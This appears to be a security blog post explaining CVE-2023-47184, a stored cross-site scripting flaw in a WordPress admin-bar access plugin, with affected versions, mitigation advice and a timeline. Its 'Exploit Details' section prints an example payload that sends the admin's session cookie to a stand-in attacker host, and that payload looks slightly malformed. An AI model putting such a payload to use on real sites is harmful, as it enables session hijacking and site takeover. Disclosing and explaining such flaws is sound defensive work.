In this detailed post, we will discuss a security vulnerability called CVE-2023-47184 that affects the Proper Fraction LLC Admin Bar & Dashboard Access Control plugin in versions 1.2.8 and older. This vulnerability, known as a Stored Cross-Site Scripting (XSS) attack, allows authenticated malicious users (admin+) to inject malicious code into the plugin's settings page. We will provide code snippets, original references, and exploit details to help you understand the vulnerability and protect your systems.

Vulnerability Overview

The Proper Fraction LLC Admin Bar & Dashboard Access Control plugin for WordPress is designed to help administrators manage access permissions for the Admin Bar and Dashboard. However, due to improper input validation and output encoding, it has been found to have a vulnerability - CVE-2023-47184 - that can potentially allow malicious users to inject and execute arbitrary JavaScript code.

The issue with this plugin is that it does not sanitize user-supplied input when saving settings. Consequently, attackers can inject JavaScript code that, once stored, will be executed in the browser when an admin accesses the settings page. Since malicious JavaScript can be executed in the context of the application, it can lead to data theft, unauthorized actions, or other undesired effects.

Affected Versions

This vulnerability affects Proper Fraction LLC Admin Bar & Dashboard Access Control plugin versions 1.2.8 and older.

Exploit Details

An authenticated attacker with administrator privileges can exploit this vulnerability by injecting malicious code into the "Custom CSS" field of the plugin's settings page. An example of a potentially malicious payload is shown below:

<style><script>fetch("https://attacker.host/cookie_steal";, {_method: "POST", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "cookie="+encodeURIComponent(document.cookie)});</script></style>

Upon saving the settings with this payload, the injected JavaScript will be executed in the context of the plugin settings page. This specific payload sends the admin's session cookie to an attacker-controlled server, allowing for potential session hijacking and full control over the WordPress installation.

Mitigation and Recommendations

Users of the Proper Fraction LLC Admin Bar & Dashboard Access Control plugin should update to the latest version as soon as possible, as this version contains a fix for the vulnerability. If an update is not available, it is recommended to disable or remove the plugin until a fix is provided.

Developers should ensure that they escape and sanitize all user-supplied input to prevent potential security vulnerabilities.

The official CVE entry for this vulnerability

- CVE-2023-47184

The vulnerability disclosure, including a Proof of Concept (PoC) exploit, can be found at

- Stored Cross-Site Scripting (XSS) in Proper Fraction LLC Admin Bar & Dashboard Access Control

Conclusion

In summary, CVE-2023-47184 is a stored cross-site scripting vulnerability affecting the Proper Fraction LLC Admin Bar & Dashboard Access Control plugin for WordPress in versions 1.2.8 and earlier. This vulnerability allows an attacker to inject malicious code, leading to potential data theft or unwanted modifications in the WordPress system. Users should update their plugin to the latest version or remove/disable it if no update is available. Additionally, developers should always sanitize and escape user input to minimize the possibility of security vulnerabilities in their software.

Timeline

Published on: 11/06/2023 10:15:08 UTC
Last modified on: 11/14/2023 17:04:27 UTC